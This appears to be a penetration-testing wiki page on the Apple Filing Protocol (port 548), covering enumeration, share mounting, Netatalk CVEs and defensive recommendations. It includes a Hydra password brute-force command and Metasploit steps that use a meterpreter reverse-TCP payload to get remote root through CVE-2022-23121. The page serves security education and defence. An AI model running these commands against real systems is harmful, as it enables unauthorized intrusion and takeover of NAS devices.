# 548 - Pentesting Apple Filing Protocol (AFP)

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## Basic Information

The **Apple Filing Protocol** (**AFP**), once known as AppleTalk Filing Protocol, is a specialized network protocol included within **Apple File Service** (**AFS**). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.

Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:

* Legacy macOS / Mac OS 9 environments
* NAS appliances (QNAP, Synology, Western Digital, TrueNAS…) that embed the open-source **Netatalk** daemon
* Mixed-OS networks where Time-Machine-over-AFP is still enabled

**Default TCP Port:** **548** (AFP over TCP / DSI)

```bash
PORT     STATE SERVICE
548/tcp  open  afp
```

---

## Enumeration

### Quick banner / server info

```bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```

Useful AFP NSE scripts:

| Script | What it does |
|--------|--------------|
| **afp-ls**            | List available AFP volumes and files |
| **afp-brute**         | Password brute-force against AFP login |
| **afp-serverinfo**    | Dump server name, machine type, AFP version, supported UAMs, etc. |
| **afp-showmount**     | List shares together with their ACLs |
| **afp-path-vuln**     | Detects (and can exploit) directory-traversal, CVE-2010-0533 |

The NSE brute-force script can be combined with Hydra/Medusa if more control is required:

```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```

### Interacting with shares

*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```

*Linux* (using `afpfs-ng` ‑ packaged in most distros)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```

Once mounted, remember that classic Mac resource-forks are stored as hidden `._*` AppleDouble files – these often hold interesting metadata that DFIR tools miss.

---

## Common Vulnerabilities & Exploitation

### Netatalk unauthenticated RCE chain (2022)

Several NAS vendors shipped **Netatalk ≤3.1.12**. A lack of bounds checking in `parse_entries()` allows an attacker to craft a malicious **AppleDouble** header and obtain **remote root** before authentication (**CVSS 9.8 – CVE-2022-23121**). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.

Metasploit (>= 6.3) ships the module `exploit/linux/netatalk/parse_entries` which delivers the payload via DSI `WRITE`.

```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as **root**.

### Netatalk OpenSession heap overflow (2018)

Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the **DSI OpenSession** handler allowing unauthenticated code execution (**CVE-2018-1160**). A detailed analysis and PoC were published by Tenable Research.

### Other notable issues

* **CVE-2022-22995** – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17).
* **CVE-2010-0533** – Directory traversal in Apple Mac OS X 10.6 AFP (detected by `afp-path-vuln.nse`).
* Multiple memory-safety bugs were fixed in **Netatalk 4.x (2024)** – recommend upgrading rather than patching individual CVEs.

---

## Defensive Recommendations

1. **Disable AFP** unless strictly required – use SMB3 or NFS instead.
2. If AFP must stay, **upgrade Netatalk to ≥ 3.1.18 or 4.x**, or apply vendor firmware that back-ports the 2022/2023/2024 patches.
3. Enforce **Strong UAMs** (e.g. *DHX2*), disable clear-text and guest logins.
4. Restrict TCP 548 to trusted subnets and wrap AFP inside a VPN when exposed remotely.
5. Periodically scan with `nmap -p 548 --script afp-*` in CI/CD to catch rogue / downgraded appliances.

---

### [Brute-Force](../generic-hacking/brute-force.md#afp)



## References

* Netatalk Security Advisory CVE-2022-23121 – "Arbitrary code execution in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
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